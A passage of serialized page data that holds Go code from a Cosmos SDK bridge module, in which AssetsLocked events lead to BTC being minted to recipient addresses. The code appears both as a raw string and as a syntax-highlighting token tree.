pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n        if err != nil {\n            return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n        }\n        ...\n    }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n    ctx sdk.Context,\n    events types.AssetsLockedEvents,\n) error {\n    ...\n    for _, event := range events {\n        recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n        if err != nil {\n            return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n        }\n\n        if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n            err = k.mintBTC(ctx, recipient, event.Amount)\n            if err != nil {\n                return fmt.Errorf(\n                    \"failed to mint BTC for event %v: %w\",\n                    event.Sequence,\n                    err,\n                )\n            }\n        } else {\n            ...\n        }\n    }\n    ...\n}\n\nfunc (k Keeper) mintBTC(\n    ctx sdk.Context,\n    recipient sdk.AccAddress,\n    amount math.Int,\n) error {\n    ...\n    err = k.bankKeeper.SendCoinsFromModuleToAccount(\n        ctx,\n        types.ModuleName,\n        recipient,\n        coins,\n    )\n    if err != nil {\n        return fmt.Errorf(\"failed to send coins: %w\", err)\n    }\n    ...\n}\n",[83271],{"type":22,"tag":114,"props":83272,"children":83273},{"__ignoreMap":7},[83274,83327,83342,83365,83395,83431,83439,83495,83519,83569,83576,83583,83590,83597,83604,83635,83658,83683,83698,83705,83742,83796,83819,83860,83867,83874,83925,83986,84009,84032,84044,84065,84077,84085,84092,84107,84115,84122,84129,84136,84143,84150,84181,84204,84229,84254,84269,84276,84313,84324,84345,84356,84368,84375,84398,84438,84445,84452],{"type":22,"tag":118,"props":83275,"children":83276},{"class":120,"line":121},[83277,83281,83285,83290,83294,83299,83303,83307,83311,83315,83319,83323],{"type":22,"tag":118,"props":83278,"children":83279},{"style":146},[83280],{"type":28,"value":77896},{"type":22,"tag":118,"props":83282,"children":83283},{"style":125},[83284],{"type":28,"value":842},{"type":22,"tag":118,"props":83286,"children":83287},{"style":204},[83288],{"type":28,"value":83289},"pbh ",{"type":22,"tag":118,"props":83291,"children":83292},{"style":210},[83293],{"type":28,"value":671},{"type":22,"tag":118,"props":83295,"children":83296},{"style":131},[83297],{"type":28,"value":83298},"PreBlockHandler",{"type":22,"tag":118,"props":83300,"children":83301},{"style":125},[83302],{"type":28,"value":588},{"type":22,"tag":118,"props":83304,"children":83305},{"style":532},[83306],{"type":28,"value":82999},{"type":22,"tag":118,"props":83308,"children":83309},{"style":125},[83310],{"type":28,"value":2182},{"type":22,"tag":118,"props":83312,"children":83313},{"style":131},[83314],{"type":28,"value":80326},{"type":22,"tag":118,"props":83316,"children":83317},{"style":125},[83318],{"type":28,"value":292},{"type":22,"tag":118,"props":83320,"children":83321},{"style":131},[83322],{"type":28,"value":82999},{"type":22,"tag":118,"props":83324,"children":83325},{"style":125},[83326],{"type":28,"value":1474},{"type":22,"tag":118,"props":83328,"children":83329},{"class":120,"line":142},[83330,83334,83338],{"type":22,"tag":118,"props":83331,"children":83332},{"style":1480},[83333],{"type":28,"value":18954},{"type":22,"tag":118,"props":83335,"children":83336},{"style":146},[83337],{"type":28,"value":81605},{"type":22,"tag":118,"props":83339,"children":83340},{"style":125},[83341],{"type":28,"value":696},{"type":22,"tag":118,"props":83343,"children":83344},{"class":120,"line":177},[83345,83349,83353,83357,83361],{"type":22,"tag":118,"props":83346,"children":83347},{"style":204},[83348],{"type":28,"value":1034},{"type":22,"tag":118,"props":83350,"children":83351},{"style":131},[83352],{"type":28,"value":80237},{"type":22,"tag":118,"props":83354,"children":83355},{"style":125},[83356],{"type":28,"value":292},{"type":22,"tag":118,"props":83358,"children":83359},{"style":131},[83360],{"type":28,"value":77945},{"type":22,"tag":118,"props":83362,"children":83363},{"style":125},[83364],{"type":28,"value":782},{"type":22,"tag":118,"props":83366,"children":83367},{"class":120,"line":195},[83368,83373,83377,83382,83386,83391],{"type":22,"tag":118,"props":83369,"children":83370},{"style":204},[83371],{"type":28,"value":83372},"        req",{"type":22,"tag":118,"props":83374,"children":83375},{"style":210},[83376],{"type":28,"value":11815},{"type":22,"tag":118,"props":83378,"children":83379},{"style":131},[83380],{"type":28,"value":83381},"cmtabci",{"type":22,"tag":118,"props":83383,"children":83384},{"style":125},[83385],{"type":28,"value":292},{"type":22,"tag":118,"props":83387,"children":83388},{"style":131},[83389],{"type":28,"value":83390},"RequestFinalizeBlock",{"type":22,"tag":118,"props":83392,"children":83393},{"style":125},[83394],{"type":28,"value":782},{"type":22,"tag":118,"props":83396,"children":83397},{"class":120,"line":244},[83398,83402,83406,83410,83414,83419,83423,83427],{"type":22,"tag":118,"props":83399,"children":83400},{"style":125},[83401],{"type":28,"value":81673},{"type":22,"tag":118,"props":83403,"children":83404},{"style":210},[83405],{"type":28,"value":671},{"type":22,"tag":118,"props":83407,"children":83408},{"style":131},[83409],{"type":28,"value":80326},{"type":22,"tag":118,"props":83411,"children":83412},{"style":125},[83413],{"type":28,"value":292},{"type":22,"tag":118,"props":83415,"children":83416},{"style":131},[83417],{"type":28,"value":83418},"ResponsePreBlock",{"type":22,"tag":118,"props":83420,"children":83421},{"style":125},[83422],{"type":28,"value":231},{"type":22,"tag":118,"props":83424,"children":83425},{"style":131},[83426],{"type":28,"value":16841},{"type":22,"tag":118,"props":83428,"children":83429},{"style":125},[83430],{"type":28,"value":16783},{"type":22,"tag":118,"props":83432,"children":83433},{"class":120,"line":253},[83434],{"type":22,"tag":118,"props":83435,"children":83436},{"style":210},[83437],{"type":28,"value":83438},"        ...\n",{"type":22,"tag":118,"props":83440,"children":83441},{"class":120,"line":263},[83442,83447,83451,83456,83460,83465,83469,83474,83478,83482,83486,83491],{"type":22,"tag":118,"props":83443,"children":83444},{"style":204},[83445],{"type":28,"value":83446},"        err",{"type":22,"tag":118,"props":83448,"children":83449},{"style":210},[83450],{"type":28,"value":78012},{"type":22,"tag":118,"props":83452,"children":83453},{"style":204},[83454],{"type":28,"value":83455}," pbh",{"type":22,"tag":118,"props":83457,"children":83458},{"style":125},[83459],{"type":28,"value":292},{"type":22,"tag":118,"props":83461,"children":83462},{"style":204},[83463],{"type":28,"value":83464},"bridgeKeeper",{"type":22,"tag":118,"props":83466,"children":83467},{"style":125},[83468],{"type":28,"value":292},{"type":22,"tag":118,"props":83470,"children":83471},{"style":532},[83472],{"type":28,"value":83473},"AcceptAssetsLocked",{"type":22,"tag":118,"props":83475,"children":83476},{"style":125},[83477],{"type":28,"value":540},{"type":22,"tag":118,"props":83479,"children":83480},{"style":204},[83481],{"type":28,"value":545},{"type":22,"tag":118,"props":83483,"children":83484},{"style":125},[83485],{"type":28,"value":231},{"type":22,"tag":118,"props":83487,"children":83488},{"style":204},[83489],{"type":28,"value":83490},"events",{"type":22,"tag":118,"props":83492,"children":83493},{"style":125},[83494],{"type":28,"value":3665},{"type":22,"tag":118,"props":83496,"children":83497},{"class":120,"line":318},[83498,83502,83506,83510,83515],{"type":22,"tag":118,"props":83499,"children":83500},{"style":1480},[83501],{"type":28,"value":5293},{"type":22,"tag":118,"props":83503,"children":83504},{"style":204},[83505],{"type":28,"value":50461},{"type":22,"tag":118,"props":83507,"children":83508},{"style":210},[83509],{"type":28,"value":66328},{"type":22,"tag":118,"props":83511,"children":83512},{"style":146},[83513],{"type":28,"value":83514}," nil",{"type":22,"tag":118,"props":83516,"children":83517},{"style":125},[83518],{"type":28,"value":1474},{"type":22,"tag":118,"props":83520,"children":83521},{"class":120,"line":351},[83522,83526,83530,83534,83539,83543,83548,83552,83557,83561,83565],{"type":22,"tag":118,"props":83523,"children":83524},{"style":1480},[83525],{"type":28,"value":80672},{"type":22,"tag":118,"props":83527,"children":83528},{"style":146},[83529],{"type":28,"value":83514},{"type":22,"tag":118,"props":83531,"children":83532},{"style":125},[83533],{"type":28,"value":231},{"type":22,"tag":118,"props":83535,"children":83536},{"style":204},[83537],{"type":28,"value":83538},"fmt",{"type":22,"tag":118,"props":83540,"children":83541},{"style":125},[83542],{"type":28,"value":292},{"type":22,"tag":118,"props":83544,"children":83545},{"style":532},[83546],{"type":28,"value":83547},"Errorf",{"type":22,"tag":118,"props":83549,"children":83550},{"style":125},[83551],{"type":28,"value":540},{"type":22,"tag":118,"props":83553,"children":83554},{"style":1866},[83555],{"type":28,"value":83556},"\"cannot accept AssetsLocked events: %w\"",{"type":22,"tag":118,"props":83558,"children":83559},{"style":125},[83560],{"type":28,"value":231},{"type":22,"tag":118,"props":83562,"children":83563},{"style":204},[83564],{"type":28,"value":50360},{"type":22,"tag":118,"props":83566,"children":83567},{"style":125},[83568],{"type":28,"value":3665},{"type":22,"tag":118,"props":83570,"children":83571},{"class":120,"line":359},[83572],{"type":22,"tag":118,"props":83573,"children":83574},{"style":125},[83575],{"type":28,"value":1835},{"type":22,"tag":118,"props":83577,"children":83578},{"class":120,"line":368},[83579],{"type":22,"tag":118,"props":83580,"children":83581},{"style":210},[83582],{"type":28,"value":83438},{"type":22,"tag":118,"props":83584,"children":83585},{"class":120,"line":384},[83586],{"type":22,"tag":118,"props":83587,"children":83588},{"style":125},[83589],{"type":28,"value":1254},{"type":22,"tag":118,"props":83591,"children":83592},{"class":120,"line":417},[83593],{"type":22,"tag":118,"props":83594,"children":83595},{"style":125},[83596],{"type":28,"value":481},{"type":22,"tag":118,"props":83598,"children":83599},{"class":120,"line":425},[83600],{"type":22,"tag":118,"props":83601,"children":83602},{"emptyLinePlaceholder":15},[83603],{"type":28,"value":250},{"type":22,"tag":118,"props":83605,"children":83606},{"class":120,"line":441},[83607,83611,83615,83619,83623,83627,83631],{"type":22,"tag":118,"props":83608,"children":83609},{"style":146},[83610],{"type":28,"value":77896},{"type":22,"tag":118,"props":83612,"children":83613},{"style":125},[83614],{"type":28,"value":842},{"type":22,"tag":118,"props":83616,"children":83617},{"style":204},[83618],{"type":28,"value":82724},{"type":22,"tag":118,"props":83620,"children":83621},{"style":131},[83622],{"type":28,"value":81541},{"type":22,"tag":118,"props":83624,"children":83625},{"style":125},[83626],{"type":28,"value":588},{"type":22,"tag":118,"props":83628,"children":83629},{"style":532},[83630],{"type":28,"value":83473},{"type":22,"tag":118,"props":83632,"children":83633},{"style":125},[83634],{"type":28,"value":696},{"type":22,"tag":118,"props":83636,"children":83637},{"class":120,"line":475},[83638,83642,83646,83650,83654],{"type":22,"tag":118,"props":83639,"children":83640},{"style":204},[83641],{"type":28,"value":22191},{"type":22,"tag":118,"props":83643,"children":83644},{"style":131},[83645],{"type":28,"value":80237},{"type":22,"tag":118,"props":83647,"children":83648},{"style":125},[83649],{"type":28,"value":292},{"type":22,"tag":118,"props":83651,"children":83652},{"style":131},[83653],{"type":28,"value":77945},{"type":22,"tag":118,"props":83655,"children":83656},{"style":125},[83657],{"type":28,"value":782},{"type":22,"tag":118,"props":83659,"children":83660},{"class":120,"line":484},[83661,83666,83670,83674,83679],{"type":22,"tag":118,"props":83662,"children":83663},{"style":204},[83664],{"type":28,"value":83665},"    events",{"type":22,"tag":118,"props":83667,"children":83668},{"style":131},[83669],{"type":28,"value":79771},{"type":22,"tag":118,"props":83671,"children":83672},{"style":125},[83673],{"type":28,"value":292},{"type":22,"tag":118,"props":83675,"children":83676},{"style":131},[83677],{"type":28,"value":83678},"AssetsLockedEvents",{"type":22,"tag":118,"props":83680,"children":83681},{"style":125},[83682],{"type":28,"value":782},{"type":22,"tag":118,"props":83684,"children":83685},{"class":120,"line":492},[83686,83690,83694],{"type":22,"tag":118,"props":83687,"children":83688},{"style":125},[83689],{"type":28,"value":588},{"type":22,"tag":118,"props":83691,"children":83692},{"style":131},[83693],{"type":28,"value":16841},{"type":22,"tag":118,"props":83695,"children":83696},{"style":125},[83697],{"type":28,"value":1474},{"type":22,"tag":118,"props":83699,"children":83700},{"class":120,"line":501},[83701],{"type":22,"tag":118,"props":83702,"children":83703},{"style":210},[83704],{"type":28,"value":22302},{"type":22,"tag":118,"props":83706,"children":83707},{"class":120,"line":519},[83708,83712,83716,83720,83725,83729,83733,83738],{"type":22,"tag":118,"props":83709,"children":83710},{"style":1480},[83711],{"type":28,"value":5059},{"type":22,"tag":118,"props":83713,"children":83714},{"style":204},[83715],{"type":28,"value":5064},{"type":22,"tag":118,"props":83717,"children":83718},{"style":125},[83719],{"type":28,"value":231},{"type":22,"tag":118,"props":83721,"children":83722},{"style":204},[83723],{"type":28,"value":83724},"event",{"type":22,"tag":118,"props":83726,"children":83727},{"style":210},[83728],{"type":28,"value":78012},{"type":22,"tag":118,"props":83730,"children":83731},{"style":1480},[83732],{"type":28,"value":78995},{"type":22,"tag":118,"props":83734,"children":83735},{"style":204},[83736],{"type":28,"value":83737}," events",{"type":22,"tag":118,"props":83739,"children":83740},{"style":125},[83741],{"type":28,"value":1474},{"type":22,"tag":118,"props":83743,"children":83744},{"class":120,"line":606},[83745,83750,83754,83758,83762,83766,83770,83775,83779,83783,83787,83792],{"type":22,"tag":118,"props":83746,"children":83747},{"style":204},[83748],{"type":28,"value":83749},"        recipient",{"type":22,"tag":118,"props":83751,"children":83752},{"style":125},[83753],{"type":28,"value":231},{"type":22,"tag":118,"props":83755,"children":83756},{"style":204},[83757],{"type":28,"value":50360},{"type":22,"tag":118,"props":83759,"children":83760},{"style":210},[83761],{"type":28,"value":78012},{"type":22,"tag":118,"props":83763,"children":83764},{"style":204},[83765],{"type":28,"value":80237},{"type":22,"tag":118,"props":83767,"children":83768},{"style":125},[83769],{"type":28,"value":292},{"type":22,"tag":118,"props":83771,"children":83772},{"style":532},[83773],{"type":28,"value":83774},"AccAddressFromBech32",{"type":22,"tag":118,"props":83776,"children":83777},{"style":125},[83778],{"type":28,"value":540},{"type":22,"tag":118,"props":83780,"children":83781},{"style":204},[83782],{"type":28,"value":83724},{"type":22,"tag":118,"props":83784,"children":83785},{"style":125},[83786],{"type":28,"value":292},{"type":22,"tag":118,"props":83788,"children":83789},{"style":204},[83790],{"type":28,"value":83791},"Recipient",{"type":22,"tag":118,"props":83793,"children":83794},{"style":125},[83795],{"type":28,"value":3665},{"type":22,"tag":118,"props":83797,"children":83798},{"class":120,"line":615},[83799,83803,83807,83811,83815],{"type":22,"tag":118,"props":83800,"children":83801},{"style":1480},[83802],{"type":28,"value":5293},{"type":22,"tag":118,"props":83804,"children":83805},{"style":204},[83806],{"type":28,"value":50461},{"type":22,"tag":118,"props":83808,"children":83809},{"style":210},[83810],{"type":28,"value":66328},{"type":22,"tag":118,"props":83812,"children":83813},{"style":146},[83814],{"type":28,"value":83514},{"type":22,"tag":118,"props":83816,"children":83817},{"style":125},[83818],{"type":28,"value":1474},{"type":22,"tag":118,"props":83820,"children":83821},{"class":120,"line":685},[83822,83826,83831,83835,83839,83843,83848,83852,83856],{"type":22,"tag":118,"props":83823,"children":83824},{"style":1480},[83825],{"type":28,"value":80672},{"type":22,"tag":118,"props":83827,"children":83828},{"style":204},[83829],{"type":28,"value":83830}," fmt",{"type":22,"tag":118,"props":83832,"children":83833},{"style":125},[83834],{"type":28,"value":292},{"type":22,"tag":118,"props":83836,"children":83837},{"style":532},[83838],{"type":28,"value":83547},{"type":22,"tag":118,"props":83840,"children":83841},{"style":125},[83842],{"type":28,"value":540},{"type":22,"tag":118,"props":83844,"children":83845},{"style":1866},[83846],{"type":28,"value":83847},"\"failed to parse recipient address: %w\"",{"type":22,"tag":118,"props":83849,"children":83850},{"style":125},[83851],{"type":28,"value":231},{"type":22,"tag":118,"props":83853,"children":83854},{"style":204},[83855],{"type":28,"value":50360},{"type":22,"tag":118,"props":83857,"children":83858},{"style":125},[83859],{"type":28,"value":3665},{"type":22,"tag":118,"props":83861,"children":83862},{"class":120,"line":699},[83863],{"type":22,"tag":118,"props":83864,"children":83865},{"style":125},[83866],{"type":28,"value":1835},{"type":22,"tag":118,"props":83868,"children":83869},{"class":120,"line":729},[83870],{"type":22,"tag":118,"props":83871,"children":83872},{"emptyLinePlaceholder":15},[83873],{"type":28,"value":250},{"type":22,"tag":118,"props":83875,"children":83876},{"class":120,"line":771},[83877,83881,83886,83890,83895,83899,83903,83907,83912,83916,83921],{"type":22,"tag":118,"props":83878,"children":83879},{"style":1480},[83880],{"type":28,"value":5293},{"type":22,"tag":118,"props":83882,"children":83883},{"style":204},[83884],{"type":28,"value":83885}," bytes",{"type":22,"tag":118,"props":83887,"children":83888},{"style":125},[83889],{"type":28,"value":292},{"type":22,"tag":118,"props":83891,"children":83892},{"style":532},[83893],{"type":28,"value":83894},"Equal",{"type":22,"tag":118,"props":83896,"children":83897},{"style":125},[83898],{"type":28,"value":540},{"type":22,"tag":118,"props":83900,"children":83901},{"style":204},[83902],{"type":28,"value":83724},{"type":22,"tag":118,"props":83904,"children":83905},{"style":125},[83906],{"type":28,"value":292},{"type":22,"tag":118,"props":83908,"children":83909},{"style":532},[83910],{"type":28,"value":83911},"TokenBytes",{"type":22,"tag":118,"props":83913,"children":83914},{"style":125},[83915],{"type":28,"value":20341},{"type":22,"tag":118,"props":83917,"children":83918},{"style":204},[83919],{"type":28,"value":83920},"sourceBTCToken",{"type":22,"tag":118,"props":83922,"children":83923},{"style":125},[83924],{"type":28,"value":16783},{"type":22,"tag":118,"props":83926,"children":83927},{"class":120,"line":785},[83928,83933,83937,83941,83945,83950,83954,83958,83962,83966,83970,83974,83978,83982],{"type":22,"tag":118,"props":83929,"children":83930},{"style":204},[83931],{"type":28,"value":83932},"            err",{"type":22,"tag":118,"props":83934,"children":83935},{"style":210},[83936],{"type":28,"value":837},{"type":22,"tag":118,"props":83938,"children":83939},{"style":204},[83940],{"type":28,"value":82852},{"type":22,"tag":118,"props":83942,"children":83943},{"style":125},[83944],{"type":28,"value":292},{"type":22,"tag":118,"props":83946,"children":83947},{"style":532},[83948],{"type":28,"value":83949},"mintBTC",{"type":22,"tag":118,"props":83951,"children":83952},{"style":125},[83953],{"type":28,"value":540},{"type":22,"tag":118,"props":83955,"children":83956},{"style":204},[83957],{"type":28,"value":545},{"type":22,"tag":118,"props":83959,"children":83960},{"style":125},[83961],{"type":28,"value":231},{"type":22,"tag":118,"props":83963,"children":83964},{"style":204},[83965],{"type":28,"value":83247},{"type":22,"tag":118,"props":83967,"children":83968},{"style":125},[83969],{"type":28,"value":231},{"type":22,"tag":118,"props":83971,"children":83972},{"style":204},[83973],{"type":28,"value":83724},{"type":22,"tag":118,"props":83975,"children":83976},{"style":125},[83977],{"type":28,"value":292},{"type":22,"tag":118,"props":83979,"children":83980},{"style":204},[83981],{"type":28,"value":80651},{"type":22,"tag":118,"props":83983,"children":83984},{"style":125},[83985],{"type":28,"value":3665},{"type":22,"tag":118,"props":83987,"children":83988},{"class":120,"line":804},[83989,83993,83997,84001,84005],{"type":22,"tag":118,"props":83990,"children":83991},{"style":1480},[83992],{"type":28,"value":60742},{"type":22,"tag":118,"props":83994,"children":83995},{"style":204},[83996],{"type":28,"value":50461},{"type":22,"tag":118,"props":83998,"children":83999},{"style":210},[84000],{"type":28,"value":66328},{"type":22,"tag":118,"props":84002,"children":84003},{"style":146},[84004],{"type":28,"value":83514},{"type":22,"tag":118,"props":84006,"children":84007},{"style":125},[84008],{"type":28,"value":1474},{"type":22,"tag":118,"props":84010,"children":84011},{"class":120,"line":812},[84012,84016,84020,84024,84028],{"type":22,"tag":118,"props":84013,"children":84014},{"style":1480},[84015],{"type":28,"value":62669},{"type":22,"tag":118,"props":84017,"children":84018},{"style":204},[84019],{"type":28,"value":83830},{"type":22,"tag":118,"props":84021,"children":84022},{"style":125},[84023],{"type":28,"value":292},{"type":22,"tag":118,"props":84025,"children":84026},{"style":532},[84027],{"type":28,"value":83547},{"type":22,"tag":118,"props":84029,"children":84030},{"style":125},[84031],{"type":28,"value":696},{"type":22,"tag":118,"props":84033,"children":84034},{"class":120,"line":821},[84035,84040],{"type":22,"tag":118,"props":84036,"children":84037},{"style":1866},[84038],{"type":28,"value":84039},"                    \"failed to mint BTC for event %v: %w\"",{"type":22,"tag":118,"props":84041,"children":84042},{"style":125},[84043],{"type":28,"value":782},{"type":22,"tag":118,"props":84045,"children":84046},{"class":120,"line":900},[84047,84052,84056,84061],{"type":22,"tag":118,"props":84048,"children":84049},{"style":204},[84050],{"type":28,"value":84051},"                    event",{"type":22,"tag":118,"props":84053,"children":84054},{"style":125},[84055],{"type":28,"value":292},{"type":22,"tag":118,"props":84057,"children":84058},{"style":204},[84059],{"type":28,"value":84060},"Sequence",{"type":22,"tag":118,"props":84062,"children":84063},{"style":125},[84064],{"type":28,"value":782},{"type":22,"tag":118,"props":84066,"children":84067},{"class":120,"line":913},[84068,84073],{"type":22,"tag":118,"props":84069,"children":84070},{"style":204},[84071],{"type":28,"value":84072},"                    err",{"type":22,"tag":118,"props":84074,"children":84075},{"style":125},[84076],{"type":28,"value":782},{"type":22,"tag":118,"props":84078,"children":84079},{"class":120,"line":953},[84080],{"type":22,"tag":118,"props":84081,"children":84082},{"style":125},[84083],{"type":28,"value":84084},"                )\n",{"type":22,"tag":118,"props":84086,"children":84087},{"class":120,"line":982},[84088],{"type":22,"tag":118,"props":84089,"children":84090},{"style":125},[84091],{"type":28,"value":1827},{"type":22,"tag":118,"props":84093,"children":84094},{"class":120,"line":995},[84095,84099,84103],{"type":22,"tag":118,"props":84096,"children":84097},{"style":125},[84098],{"type":28,"value":5330},{"type":22,"tag":118,"props":84100,"children":84101},{"style":1480},[84102],{"type":28,"value":5335},{"type":22,"tag":118,"props":84104,"children":84105},{"style":125},[84106],{"type":28,"value":1474},{"type":22,"tag":118,"props":84108,"children":84109},{"class":120,"line":1011},[84110],{"type":22,"tag":118,"props":84111,"children":84112},{"style":210},[84113],{"type":28,"value":84114},"            ...\n",{"type":22,"tag":118,"props":84116,"children":84117},{"class":120,"line":1019},[84118],{"type":22,"tag":118,"props":84119,"children":84120},{"style":125},[84121],{"type":28,"value":1835},{"type":22,"tag":118,"props":84123,"children":84124},{"class":120,"line":1028},[84125],{"type":22,"tag":118,"props":84126,"children":84127},{"style":125},[84128],{"type":28,"value":1254},{"type":22,"tag":118,"props":84130,"children":84131},{"class":120,"line":1101},[84132],{"type":22,"tag":118,"props":84133,"children":84134},{"style":210},[84135],{"type":28,"value":22302},{"type":22,"tag":118,"props":84137,"children":84138},{"class":120,"line":1146},[84139],{"type":22,"tag":118,"props":84140,"children":84141},{"style":125},[84142],{"type":28,"value":481},{"type":22,"tag":118,"props":84144,"children":84145},{"class":120,"line":1226},[84146],{"type":22,"tag":118,"props":84147,"children":84148},{"emptyLinePlaceholder":15},[84149],{"type":28,"value":250},{"type":22,"tag":118,"props":84151,"children":84152},{"class":120,"line":1234},[84153,84157,84161,84165,84169,84173,84177],{"type":22,"tag":118,"props":84154,"children":84155},{"style":146},[84156],{"type":28,"value":77896},{"type":22,"tag":118,"props":84158,"children":84159},{"style":125},[84160],{"type":28,"value":842},{"type":22,"tag":118,"props":84162,"children":84163},{"style":204},[84164],{"type":28,"value":82724},{"type":22,"tag":118,"props":84166,"children":84167},{"style":131},[84168],{"type":28,"value":81541},{"type":22,"tag":118,"props":84170,"children":84171},{"style":125},[84172],{"type":28,"value":588},{"type":22,"tag":118,"props":84174,"children":84175},{"style":532},[84176],{"type":28,"value":83949},{"type":22,"tag":118,"props":84178,"children":84179},{"style":125},[84180],{"type":28,"value":696},{"type":22,"tag":118,"props":84182,"children":84183},{"class":120,"line":1248},[84184,84188,84192,84196,84200],{"type":22,"tag":118,"props":84185,"children":84186},{"style":204},[84187],{"type":28,"value":22191},{"type":22,"tag":118,"props":84189,"children":84190},{"style":131},[84191],{"type":28,"value":80237},{"type":22,"tag":118,"props":84193,"children":84194},{"style":125},[84195],{"type":28,"value":292},{"type":22,"tag":118,"props":84197,"children":84198},{"style":131},[84199],{"type":28,"value":77945},{"type":22,"tag":118,"props":84201,"children":84202},{"style":125},[84203],{"type":28,"value":782},{"type":22,"tag":118,"props":84205,"children":84206},{"class":120,"line":1257},[84207,84212,84216,84220,84225],{"type":22,"tag":118,"props":84208,"children":84209},{"style":204},[84210],{"type":28,"value":84211},"    recipient",{"type":22,"tag":118,"props":84213,"children":84214},{"style":131},[84215],{"type":28,"value":80237},{"type":22,"tag":118,"props":84217,"children":84218},{"style":125},[84219],{"type":28,"value":292},{"type":22,"tag":118,"props":84221,"children":84222},{"style":131},[84223],{"type":28,"value":84224},"AccAddress",{"type":22,"tag":118,"props":84226,"children":84227},{"style":125},[84228],{"type":28,"value":782},{"type":22,"tag":118,"props":84230,"children":84231},{"class":120,"line":25765},[84232,84236,84241,84245,84250],{"type":22,"tag":118,"props":84233,"children":84234},{"style":204},[84235],{"type":28,"value":63523},{"type":22,"tag":118,"props":84237,"children":84238},{"style":131},[84239],{"type":28,"value":84240}," math",{"type":22,"tag":118,"props":84242,"children":84243},{"style":125},[84244],{"type":28,"value":292},{"type":22,"tag":118,"props":84246,"children":84247},{"style":131},[84248],{"type":28,"value":84249},"Int",{"type":22,"tag":118,"props":84251,"children":84252},{"style":125},[84253],{"type":28,"value":782},{"type":22,"tag":118,"props":84255,"children":84256},{"class":120,"line":25778},[84257,84261,84265],{"type":22,"tag":118,"props":84258,"children":84259},{"style":125},[84260],{"type":28,"value":588},{"type":22,"tag":118,"props":84262,"children":84263},{"style":131},[84264],{"type":28,"value":16841},{"type":22,"tag":118,"props":84266,"children":84267},{"style":125},[84268],{"type":28,"value":1474},{"type":22,"tag":118,"props":84270,"children":84271},{"class":120,"line":25791},[84272],{"type":22,"tag":118,"props":84273,"children":84274},{"style":210},[84275],{"type":28,"value":22302},{"type":22,"tag":118,"props":84277,"children":84278},{"class":120,"line":25804},[84279,84284,84288,84292,84296,84301,84305,84309],{"type":22,"tag":118,"props":84280,"children":84281},{"style":204},[84282],{"type":28,"value":84283},"    err",{"type":22,"tag":118,"props":84285,"children":84286},{"style":210},[84287],{"type":28,"value":837},{"type":22,"tag":118,"props":84289,"children":84290},{"style":204},[84291],{"type":28,"value":82852},{"type":22,"tag":118,"props":84293,"children":84294},{"style":125},[84295],{"type":28,"value":292},{"type":22,"tag":118,"props":84297,"children":84298},{"style":204},[84299],{"type":28,"value":84300},"bankKeeper",{"type":22,"tag":118,"props":84302,"children":84303},{"style":125},[84304],{"type":28,"value":292},{"type":22,"tag":118,"props":84306,"children":84307},{"style":532},[84308],{"type":28,"value":83239},{"type":22,"tag":118,"props":84310,"children":84311},{"style":125},[84312],{"type":28,"value":696},{"type":22,"tag":118,"props":84314,"children":84315},{"class":120,"line":25858},[84316,84320],{"type":22,"tag":118,"props":84317,"children":84318},{"style":204},[84319],{"type":28,"value":1034},{"type":22,"tag":118,"props":84321,"children":84322},{"style":125},[84323],{"type":28,"value":782},{"type":22,"tag":118,"props":84325,"children":84326},{"class":120,"line":25867},[84327,84332,84336,84341],{"type":22,"tag":118,"props":84328,"children":84329},{"style":204},[84330],{"type":28,"value":84331},"        types",{"type":22,"tag":118,"props":84333,"children":84334},{"style":125},[84335],{"type":28,"value":292},{"type":22,"tag":118,"props":84337,"children":84338},{"style":204},[84339],{"type":28,"value":84340},"ModuleName",{"type":22,"tag":118,"props":84342,"children":84343},{"style":125},[84344],{"type":28,"value":782},{"type":22,"tag":118,"props":84346,"children":84347},{"class":120,"line":34219},[84348,84352],{"type":22,"tag":118,"props":84349,"children":84350},{"style":204},[84351],{"type":28,"value":83749},{"type":22,"tag":118,"props":84353,"children":84354},{"style":125},[84355],{"type":28,"value":782},{"type":22,"tag":118,"props":84357,"children":84358},{"class":120,"line":34240},[84359,84364],{"type":22,"tag":118,"props":84360,"children":84361},{"style":204},[84362],{"type":28,"value":84363},"        coins",{"type":22,"tag":118,"props":84365,"children":84366},{"style":125},[84367],{"type":28,"value":782},{"type":22,"tag":118,"props":84369,"children":84370},{"class":120,"line":82547},[84371],{"type":22,"tag":118,"props":84372,"children":84373},{"style":125},[84374],{"type":28,"value":25864},{"type":22,"tag":118,"props":84376,"children":84377},{"class":120,"line":82560},[84378,84382,84386,84390,84394],{"type":22,"tag":118,"props":84379,"children":84380},{"style":1480},[84381],{"type":28,"value":2159},{"type":22,"tag":118,"props":84383,"children":84384},{"style":204},[84385],{"type":28,"value":50461},{"type":22,"tag":118,"props":84387,"children":84388},{"style":210},[84389],{"type":28,"value":66328},{"type":22,"tag":118,"props":84391,"children":84392},{"style":146},[84393],{"type":28,"value":83514},{"type":22,"tag":118,"props":84395,"children":84396},{"style":125},[84397],{"type":28,"value":1474},{"type":22,"tag":118,"props":84399,"children":84400},{"class":120,"line":82568},[84401,84405,84409,84413,84417,84421,84426,84430,84434],{"type":22,"tag":118,"props":84402,"children":84403},{"style":1480},[84404],{"type":28,"value":2223},{"type":22,"tag":118,"props":84406,"children":84407},{"style":204},[84408],{"type":28,"value":83830},{"type":22,"tag":118,"props":84410,"children":84411},{"style":125},[84412],{"type":28,"value":292},{"type":22,"tag":118,"props":84414,"children":84415},{"style":532},[84416],{"type":28,"value":83547},{"type":22,"tag":118,"props":84418,"children":84419},{"style":125},[84420],{"type":28,"value":540},{"type":22,"tag":118,"props":84422,"children":84423},{"style":1866},[84424],{"type":28,"value":84425},"\"failed to send coins: 